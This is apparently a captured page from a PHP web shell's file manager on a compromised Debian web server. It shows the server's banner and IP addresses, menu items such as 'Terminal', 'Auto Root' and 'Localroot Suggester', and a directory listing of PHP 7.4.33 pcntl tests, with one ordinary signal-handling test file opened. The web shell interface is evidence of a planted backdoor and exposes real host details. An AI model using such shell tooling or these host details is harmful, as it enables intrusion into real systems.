Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.112
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
src /
php-7.4.33 /
ext /
pcntl /
tests /
Delete
Unzip
Name
Size
Permission
Date
Action
001.phpt
1.83
KB
-rw-rw-r--
2022-10-31 11:36
002.phpt
2.94
KB
-rw-rw-r--
2022-10-31 11:36
003.phpt
980
B
-rw-rw-r--
2022-10-31 11:36
async_signals.phpt
639
B
-rw-rw-r--
2022-10-31 11:36
bug47566.phpt
348
B
-rw-rw-r--
2022-10-31 11:36
bug72154.phpt
349
B
-rw-rw-r--
2022-10-31 11:36
bug73783.phpt
532
B
-rw-rw-r--
2022-10-31 11:36
pcntl_alarm.phpt
519
B
-rw-rw-r--
2022-10-31 11:36
pcntl_exec.phpt
324
B
-rw-rw-r--
2022-10-31 11:36
pcntl_exec_2.phpt
513
B
-rw-rw-r--
2022-10-31 11:36
pcntl_exec_3.phpt
412
B
-rw-rw-r--
2022-10-31 11:36
pcntl_fork_basic.phpt
756
B
-rw-rw-r--
2022-10-31 11:36
pcntl_fork_variation.phpt
1.07
KB
-rw-rw-r--
2022-10-31 11:36
pcntl_get_last_error.phpt
287
B
-rw-rw-r--
2022-10-31 11:36
pcntl_getpriority_basic.phpt
407
B
-rw-rw-r--
2022-10-31 11:36
pcntl_realtime_signal.phpt
590
B
-rw-rw-r--
2022-10-31 11:36
pcntl_setpriority_basic.phpt
559
B
-rw-rw-r--
2022-10-31 11:36
pcntl_signal.phpt
1.12
KB
-rw-rw-r--
2022-10-31 11:36
pcntl_signal_dispatch.phpt
716
B
-rw-rw-r--
2022-10-31 11:36
pcntl_signal_get_handler.phpt
655
B
-rw-rw-r--
2022-10-31 11:36
pcntl_unshare_01.phpt
630
B
-rw-rw-r--
2022-10-31 11:36
pcntl_unshare_02.phpt
960
B
-rw-rw-r--
2022-10-31 11:36
pcntl_unshare_03.phpt
816
B
-rw-rw-r--
2022-10-31 11:36
pcntl_wait.phpt
1.5
KB
-rw-rw-r--
2022-10-31 11:36
pcntl_wait_rusage1.phpt
1006
B
-rw-rw-r--
2022-10-31 11:36
pcntl_waitpid_rusage1.phpt
1.02
KB
-rw-rw-r--
2022-10-31 11:36
signal_closure_handler.phpt
614
B
-rw-rw-r--
2022-10-31 11:36
Save
Rename
--TEST-- pcntl: pcntl_sigprocmask(), pcntl_sigwaitinfo(), pcntl_sigtimedwait() --SKIPIF-- <?php if (!extension_loaded('pcntl')) die('skip pcntl extension not available'); elseif (!extension_loaded('posix')) die('skip posix extension not available'); elseif (!function_exists('pcntl_sigwaitinfo') or !function_exists('pcntl_sigtimedwait')) die('skip required functionality is not available'); elseif (!defined('CLD_EXITED')) die('skip CLD_EXITED not defined'); elseif (getenv('SKIP_ASAN')) die('skip Fails intermittently under asan/msan'); ?> --FILE-- <?php $pid = pcntl_fork(); if ($pid == -1) { die('failed'); } else if ($pid) { pcntl_sigprocmask(SIG_BLOCK, array(SIGCHLD,(string)SIGTERM)); $oldset = array(); pcntl_sigprocmask(SIG_BLOCK, array(), $oldset); var_dump(in_array(SIGCHLD, $oldset)); var_dump(in_array(SIGTERM, $oldset)); posix_kill(posix_getpid(), SIGTERM); $signo = pcntl_sigwaitinfo(array(SIGTERM), $siginfo); echo "signo == SIGTERM\n"; var_dump($signo === SIGTERM && $signo === $siginfo['signo']); echo "code === SI_USER || SI_NOINFO\n"; if (defined('SI_NOINFO')) { var_dump(($siginfo['code'] === SI_USER) || ($siginfo['code'] === SI_NOINFO)); } else { var_dump($siginfo['code'] === SI_USER); } pcntl_signal(SIGCHLD, function($signo){}); posix_kill($pid, SIGTERM); $signo = pcntl_sigwaitinfo(array((string)SIGCHLD), $siginfo); echo "signo == SIGCHLD\n"; var_dump($signo === SIGCHLD && $signo === $siginfo['signo']); echo "code === CLD_KILLED\n"; var_dump($siginfo['code'] === CLD_KILLED); echo "signo === SIGCHLD\n"; var_dump($siginfo['signo'] === SIGCHLD); echo "signo === uid\n"; var_dump($siginfo['uid'] === posix_getuid()); echo "signo === pid\n"; var_dump($siginfo['pid'] === $pid); pcntl_waitpid($pid, $status); set_error_handler(function($errno, $errstr) { echo "Error triggered\n"; }, E_WARNING); echo "sigprocmask with invalid arguments\n"; /* Valgrind expectedly complains about this: * "sigprocmask: unknown 'how' field 2147483647" * Skip */ if (getenv("USE_ZEND_ALLOC") !== '0') { var_dump(pcntl_sigprocmask(PHP_INT_MAX, array(SIGTERM))); } else { echo "Error triggered\n"; echo "bool(false)\n"; } var_dump(pcntl_sigprocmask(SIG_SETMASK, array(0))); echo "sigwaitinfo with invalid arguments\n"; var_dump(pcntl_sigwaitinfo(array(0))); echo "sigtimedwait with invalid arguments\n"; var_dump(pcntl_sigtimedwait(array(SIGTERM), $signo, PHP_INT_MAX, PHP_INT_MAX)); } else { $siginfo = NULL; pcntl_sigtimedwait(array(SIGINT), $siginfo, 3600, 0); exit; } ?> --EXPECT-- bool(true) bool(true) signo == SIGTERM bool(true) code === SI_USER || SI_NOINFO bool(true) signo == SIGCHLD bool(true) code === CLD_KILLED bool(true) signo === SIGCHLD bool(true) signo === uid bool(true) signo === pid bool(true) sigprocmask with invalid arguments Error triggered bool(false) Error triggered bool(false) sigwaitinfo with invalid arguments Error triggered bool(false) sigtimedwait with invalid arguments Error triggered int(-1)